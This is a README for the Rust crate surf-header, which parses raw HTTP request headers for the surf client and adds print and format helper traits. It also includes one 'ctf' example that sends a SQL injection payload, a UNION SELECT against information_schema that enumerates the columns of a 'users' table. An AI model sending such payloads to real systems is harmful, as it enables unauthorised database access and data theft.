# Header info parser for surf crate
[![Crates.io](https://img.shields.io/crates/v/surf-header.svg)](https://crates.io/crates/surf-header)
[![Rust](https://img.shields.io/badge/rust-1.56.1%2B-blue.svg?maxAge=3600)](https://gitlab.com/andrew_ryan/surf-header)
[![license](https://img.shields.io/badge/license-MIT-blue.svg)](https://gitlab.com/andrew_ryan/surf-header/-/raw/master/LICENSE)

```sh
cargo add tokio -F full
cargo add surf_header
cargo add surf
```
```rust
#[tokio::main]
async fn main() {
    use std::collections::BTreeMap;
    use surf_header::Header;
    use surf_header::parse_to_surf_header;
    let h = r##"
    GET / HTTP/1.1
    Host: crates.io
    Upgrade-Insecure-Requests: 1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.119 Safari/537.36
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
    Referer: https://crates.io/
    Accept-Encoding: gzip, deflate
    Accept-Language: en-US,en;q=0.9
    Connection: close
    "##;
    let info = parse_to_surf_header(h).unwrap();
    let mut req = surf::get(info.url).build();
    req.headers(info.headers);
    let client = surf::Client::new();
    let mut res = client.send(req).await.unwrap();
    println!("{:?}",res.body_string().await.unwrap());
}
```
```rust
pub async fn ctf(){
    use surf_header::Print;
    use surf_header::DebugPrint;
    use surf_header::Str;
    use surf_header::HttpSend;
    let get = async move |url:&str|url.to_string().send("GET").await.unwrap().body_string().await.unwrap().print();
    get("url/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+").await;
}
```
## implment print println eprint eprintln for impl Display, impl Debug
```rust
use surf_header::Print;
use surf_header::DebugPrint;
"printable text".print();//impl Display
"printable text".println();
"printable text".eprintln();
#[derive(Debug)]
struct DebugPrintDemo{}
let d = DebugPrintDemo{};
d.print();
d.println();
d.eprintln();
```
## implment format for impl ToString
```rust
fn main() {
    use surf_header::Print;
    use surf_header::Str;
    "this is a {s},I like Trait Object {p}%"
    .format(vec![(Box::new("{s}"),Box::new("demo")),(Box::new("{p}"),Box::new(100))]).println();//this is a demo,I like Trait Object 100%
     use surf_header::targets;
     "this is a {d},I like Trait Object {p}}%"
     .format(targets!{"{d}"=>"demo","{p}"=>100})
     .println(); //this is a demo,I like Trait Object 100%
}
```
 ## implment targets! for return Vec<(Box\<dyn ToString>,Box\<dyn ToString>)>
 ```rust
fn main() {
    use surf_header::Print;
    use surf_header::Str;
    "this is a {s},I like Trait Object {p}%"
    .format(vec![(Box::new("{s}"),Box::new("demo")),(Box::new("{p}"),Box::new(100))]).println();//this is a demo,I like Trait Object 100%
     use surf_header::targets;
     "this is a {d},I like Trait Object {p}}%"
     .format(targets!{"{d}"=>"demo","{p}"=>100})
     .println(); //this is a demo,I like Trait Object 100%
}
 ```